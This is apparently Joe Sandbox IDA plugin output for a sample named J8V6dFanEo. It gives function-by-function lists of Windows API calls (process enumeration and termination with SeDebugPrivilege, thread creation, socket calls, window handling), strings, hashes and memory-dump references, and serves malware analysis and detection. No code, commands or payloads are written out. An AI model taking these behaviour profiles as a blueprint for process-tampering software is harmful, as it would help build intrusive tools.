Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 95c5f5dfee6c733917d16e02d3a94df0853bbfd31c97530c5c840260409a209e
Instruction ID: ea017ecbff680381b250b7135de6d930911e0c9cf4e8a51124938a7499a1bba5
Opcode Fuzzy Hash: 95c5f5dfee6c733917d16e02d3a94df0853bbfd31c97530c5c840260409a209e
Instruction Fuzzy Hash: 2711E575910218BEF6106F60DC49FAA3B5DDB4D760F110425F648AB0A1C9F25C50EAA4

Function 00F18921 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00F1853C,00000B00,?,?), ref: 00F1892A
HeapAlloc.KERNEL32(00000000,?,00F1853C,00000B00,?,?), ref: 00F18931
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00F1853C,00000B00,?,?), ref: 00F18946
GetCurrentProcess.KERNEL32(?,00000000,?,00F1853C,00000B00,?,?), ref: 00F1894E
DuplicateHandle.KERNEL32(00000000,?,00F1853C,00000B00,?,?), ref: 00F18951
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00F1853C,00000B00,?,?), ref: 00F18961
GetCurrentProcess.KERNEL32(00F1853C,00000000,?,00F1853C,00000B00,?,?), ref: 00F18969
DuplicateHandle.KERNEL32(00000000,?,00F1853C,00000B00,?,?), ref: 00F1896C
CreateThread.KERNEL32(00000000,00000000,00F18992,00000000,00000000,00000000), ref: 00F18986

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 99eed51b36c62c4fd37c1244f502c5cde8f6a071dbb2def7de6e97d9f817400e
Instruction ID: 9d1043ff9f32ec255d0cfb66a4f9505b124f6421ab1eb67474e2637e6f3e6f0e
Opcode Fuzzy Hash: 99eed51b36c62c4fd37c1244f502c5cde8f6a071dbb2def7de6e97d9f817400e
Instruction Fuzzy Hash: B501BF79640348FFE710ABA5DC4DF673BACEB99711F404421FA09DB291CA709804DB21

Function 00F39B23 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00F39B7B
NULL Pointer assignment, xrefs: 00F39BA4, 00F39EC8

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 4bf75837a7976f002fbeda5f15ec49625490325c5e86fd68c3b03ea89f718b02
Instruction ID: b8897db2bc01bf5aa46e6ecc9174b14e2da44d964403ad5c69561c61afd0e656
Opcode Fuzzy Hash: 4bf75837a7976f002fbeda5f15ec49625490325c5e86fd68c3b03ea89f718b02
Instruction Fuzzy Hash: 6CC1B371E0421A9FDF10DF98D885BAEB7F5FB48364F148429E905A7280E7F09D85DB60

Function 00F39113 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F39167
VariantInit.OLEAUT32(?), ref: 00F39238
VariantInit.OLEAUT32(?), ref: 00F39339
VariantClear.OLEAUT32(?), ref: 00F39343
VariantClear.OLEAUT32(?), ref: 00F393A0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 00F3931C
Null Object assignment in FOR..IN loop, xrefs: 00F391C8, 00F392F6, 00F393AE

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: cb2c4271af2cda27e368b9004b1c4fc054602c409f3bd357613c4bd2907490c0
Instruction ID: e68198bd9176476e9dc7f8aab50205491e2240dcaa2b61258a4dfe3430fb6256
Opcode Fuzzy Hash: cb2c4271af2cda27e368b9004b1c4fc054602c409f3bd357613c4bd2907490c0
Instruction Fuzzy Hash: 67917B71E04219ABDF24DFA5C848FAFBBB8EF45720F108119F915AB290D7F09945DBA0

Function 00F3975D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 00F1710A: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00F17044,80070057,?,?,?,00F17455), ref: 00F17127
Part of subcall function 00F1710A: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00F17044,80070057,?,?), ref: 00F17142
Part of subcall function 00F1710A: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00F17044,80070057,?,?), ref: 00F17150
Part of subcall function 00F1710A: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00F17044,80070057,?), ref: 00F17160

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00F39806
_memset.LIBCMT ref: 00F39813
_memset.LIBCMT ref: 00F39956
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00F39982
CoTaskMemFree.OLE32(?), ref: 00F3998D

Strings

NULL Pointer assignment, xrefs: 00F399DB

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: aa7e4290ca0daa5494fb894cd154db962ce0de511757bd59322c263eac1a0a17
Instruction ID: 0bd4b36f490584de7e5013dd8dd95d16c28109967319d6e0e6c7c27b42359bd8
Opcode Fuzzy Hash: aa7e4290ca0daa5494fb894cd154db962ce0de511757bd59322c263eac1a0a17
Instruction Fuzzy Hash: 77915871D04229EBDB10DFA5DC40EDEBBB9AF48320F10415AF519A7281DBB1AA45DFA0

Function 00F46D80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00F46E24
SendMessageW.USER32(?,00001036,00000000,?), ref: 00F46E38
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00F46E52
_wcscat.LIBCMT ref: 00F46EAD
SendMessageW.USER32(?,00001057,00000000,?), ref: 00F46EC4
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00F46EF2

Strings

SysListView32, xrefs: 00F46DF6

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 3a748da0295b7195e5faab3c0adf756974a3dac4c7a3dbaed6ccb7966c8cc89c
Instruction ID: b2b1ac13693072a1c484f0b0237ebdb00e4f6215c7fddc664831d7c56892bab0
Opcode Fuzzy Hash: 3a748da0295b7195e5faab3c0adf756974a3dac4c7a3dbaed6ccb7966c8cc89c
Instruction Fuzzy Hash: 7E41C374A00348ABEB219F64CC85BEE7BF8EF09360F10442AF988E7291D6719D849B51

Function 00F3E933 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00F23C55: CreateToolhelp32Snapshot.KERNEL32 ref: 00F23C7A
Part of subcall function 00F23C55: Process32FirstW.KERNEL32(00000000,?), ref: 00F23C88
Part of subcall function 00F23C55: CloseHandle.KERNEL32(00000000), ref: 00F23D52

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00F3E9A4
GetLastError.KERNEL32 ref: 00F3E9B7
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00F3E9E6
TerminateProcess.KERNEL32(00000000,00000000), ref: 00F3EA63
GetLastError.KERNEL32(00000000), ref: 00F3EA6E
CloseHandle.KERNEL32(00000000), ref: 00F3EAA3

Strings

SeDebugPrivilege, xrefs: 00F3E9C2

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: fe9cdbf6ddc18e649a8694fb8d2ad9fa8484c2ddc24345068d511f1a8c4be1e4
Instruction ID: a67e7656fdd37c9e5684717eb07065b170723f5c9d8b7ff4282a17aa8acd2f05
Opcode Fuzzy Hash: fe9cdbf6ddc18e649a8694fb8d2ad9fa8484c2ddc24345068d511f1a8c4be1e4
Instruction Fuzzy Hash: 9241CD726002019FDB14EF14CC95FAEB7E5AF41324F18841DF906AB3C2CB79A849EB91

Function 00F22F94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00F23033

Strings

stop, xrefs: 00F23004
blank, xrefs: 00F22FB5
info, xrefs: 00F22FD4
warning, xrefs: 00F2301C
question, xrefs: 00F22FEC

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: b40fc0c519984ba5f6fa14da7ef5183c019e684cfecf4e65455ef8402e4e4876
Instruction ID: 92799216853efad3989e359531c70499354aaa06252c8dda4dde84e74f45d68a
Opcode Fuzzy Hash: b40fc0c519984ba5f6fa14da7ef5183c019e684cfecf4e65455ef8402e4e4876
Instruction Fuzzy Hash: 92115B727883AABEE715DA14EC42D6B779C9F19374B10002AFA04A6181DB789F0075BA

Function 00F242F8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00F24312
LoadStringW.USER32(00000000), ref: 00F24319
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00F2432F
LoadStringW.USER32(00000000), ref: 00F24336
_wprintf.LIBCMT ref: 00F2435C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00F2437A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00F24357

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 3ebea84b8b3ae4c9f1ef991ca7806e62820169a15324069ba1657676d232b001
Instruction ID: b9b31e32752d8785fa4c3b369a1904865fe1dd12a8232a9232abf99d9adecf6a
Opcode Fuzzy Hash: 3ebea84b8b3ae4c9f1ef991ca7806e62820169a15324069ba1657676d232b001
Instruction Fuzzy Hash: 00018FF690021CBFE710D7A0DD89EE7776CDB08300F4001A1BB09E2012EA719E896B71

Function 00F4D43E Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC2612: GetWindowLongW.USER32(?,000000EB), ref: 00EC2623

GetSystemMetrics.USER32(0000000F), ref: 00F4D47C
GetSystemMetrics.USER32(0000000F), ref: 00F4D49C
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00F4D6D7
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00F4D6F5
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00F4D716
ShowWindow.USER32(00000003,00000000), ref: 00F4D735
InvalidateRect.USER32(?,00000000,00000001), ref: 00F4D75A
DefDlgProcW.USER32(?,00000005,?,?), ref: 00F4D77D

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: b4c2f22bfd58c8c9fda374e4f592e97cd11d37b5031afb54cafa01f5b4214204
Instruction ID: d3147216547d4d003a30bf64ce3585beaf58639369f3acf1657214f63c985e0b
Opcode Fuzzy Hash: b4c2f22bfd58c8c9fda374e4f592e97cd11d37b5031afb54cafa01f5b4214204
Instruction Fuzzy Hash: 52B18B75A00229EFDF14CF68C9C57AD7BB1FF04721F098069EC489B295DB34A954EB90

Function 00EC2A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00EFC1C7,00000004,00000000,00000000,00000000), ref: 00EC2ACF
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,00EFC1C7,00000004,00000000,00000000,00000000,000000FF), ref: 00EC2B17
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,00EFC1C7,00000004,00000000,00000000,00000000), ref: 00EFC21A
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00EFC1C7,00000004,00000000,00000000,00000000), ref: 00EFC286

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 80ada54b8fa536a9e4da3c4542e31c706d20f76f5f145f0d56974487003338e3
Instruction ID: d3285f25dc8cd4aa2a55a39cbf3db70f422576006b981ca69afd705b4d995be7
Opcode Fuzzy Hash: 80ada54b8fa536a9e4da3c4542e31c706d20f76f5f145f0d56974487003338e3
Instruction Fuzzy Hash: E8412B306046889BDB399B288F88FBB7B91AB55304F34A81DE747765B0C6779847E710

Function 00F270C6 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00F270DD

Part of subcall function 00EE0DB6: std::exception::exception.LIBCMT ref: 00EE0DEC
Part of subcall function 00EE0DB6: __CxxThrowException@8.LIBCMT ref: 00EE0E01

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00F27114
EnterCriticalSection.KERNEL32(?), ref: 00F27130
_memmove.LIBCMT ref: 00F2717E
_memmove.LIBCMT ref: 00F2719B
LeaveCriticalSection.KERNEL32(?), ref: 00F271AA
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00F271BF
InterlockedExchange.KERNEL32(?,000001F6), ref: 00F271DE

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: ff4176d16d9d09524f8e46649647dd9de7aa1249d894c384fcf9a0363eafa374
Instruction ID: 8bc5fde28dc839c90fb61422a1bd940136d8437d9a651a6e14c404047c27ad9c
Opcode Fuzzy Hash: ff4176d16d9d09524f8e46649647dd9de7aa1249d894c384fcf9a0363eafa374
Instruction Fuzzy Hash: D4318B35900209EBCF00EFA5DC85AABB7B8EF45310F1440B5FD08AB256DBB09E54DBA0

Function 00F461D3 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00F461EB
GetDC.USER32(00000000), ref: 00F461F3
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00F461FE
ReleaseDC.USER32(00000000,00000000), ref: 00F4620A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00F46246
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00F46257
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00F4902A,?,?,000000FF,00000000,?,000000FF,?), ref: 00F46291
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00F462B1

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 63f0a1549a6df28a8adb4fd04f4a3e7b639488578f3b97566ee954a1916d7b7f
Instruction ID: 29bc7c12d6ca3aecbad2ddfeda29ac3a7b30f5847bc7cbac44d37c390be887ad
Opcode Fuzzy Hash: 63f0a1549a6df28a8adb4fd04f4a3e7b639488578f3b97566ee954a1916d7b7f
Instruction Fuzzy Hash: 1C318976201214BFEF118F10CC8AFEB3FA9EF5A765F050065FE08DA292C6B59845DB60

Function 00F1BBAF Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00F1BBC4
_memcmp.LIBCMT ref: 00F1BBE6
_memcmp.LIBCMT ref: 00F1BBFE
_memcmp.LIBCMT ref: 00F1BC11
_memcmp.LIBCMT ref: 00F1BC2B
_memcmp.LIBCMT ref: 00F1BC3E
_memcmp.LIBCMT ref: 00F1BC56
_memcmp.LIBCMT ref: 00F1BC71

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 39a667434fce3f248c721d23fd3f9566c6afe6c3f9b660ba9f90ded2e772a64c
Instruction ID: 0d5a0d6aef5a938f537c01f59bc5ed67cd43d647d1f698bacc860e18c0fc1582
Opcode Fuzzy Hash: 39a667434fce3f248c721d23fd3f9566c6afe6c3f9b660ba9f90ded2e772a64c
Instruction Fuzzy Hash: 4021D772A0520EBBE208A6129D52FFB739D9E51368F044014FE04A6783EB24DE95A1E2

Function 00F2EB23 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00EC9837: __itow.LIBCMT ref: 00EC9862
Part of subcall function 00EC9837: __swprintf.LIBCMT ref: 00EC98AC

Part of subcall function 00EDFC86: _wcscpy.LIBCMT ref: 00EDFCA9

_wcstok.LIBCMT ref: 00F2EC94
_wcscpy.LIBCMT ref: 00F2ED23
_memset.LIBCMT ref: 00F2ED56

Strings

X, xrefs: 00F2ED93

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: e2daed7e798518d7a797d998aac20d27712e3a5288229636dd9d8523b90a9b81
Instruction ID: d049b60ad6332e0e99d800078120feb95bdc30904a9a71495bde81f6d0a4b30b
Opcode Fuzzy Hash: e2daed7e798518d7a797d998aac20d27712e3a5288229636dd9d8523b90a9b81
Instruction Fuzzy Hash: C0C1AD715083519FC714EF24D985E6AB7E4FF85320F10492DF899AB2A2DB31EC46DB82

Function 00F36B03 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00F36C00
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00F36C21
WSAGetLastError.WSOCK32(00000000), ref: 00F36C34
htons.WSOCK32(?,?,?,00000000,?), ref: 00F36CEA
inet_ntoa.WSOCK32(?), ref: 00F36CA7

Part of subcall function 00F1A7E9: _strlen.LIBCMT ref: 00F1A7F3
Part of subcall function 00F1A7E9: _memmove.LIBCMT ref: 00F1A815

_strlen.LIBCMT ref: 00F36D44
_memmove.LIBCMT ref: 00F36DAD

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
